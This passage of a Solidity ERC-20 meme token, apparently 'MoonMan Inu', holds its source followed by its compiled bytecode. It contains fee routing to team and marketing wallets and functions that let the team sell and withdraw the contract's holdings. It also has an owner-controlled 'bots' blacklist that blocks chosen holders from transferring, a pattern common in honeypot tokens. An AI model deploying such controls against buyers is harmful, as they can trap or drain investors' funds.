(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f4d6f6f6e4d616e20496e75000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f4d6f6f6e4d616e20f09f8c9d0000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6000600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732061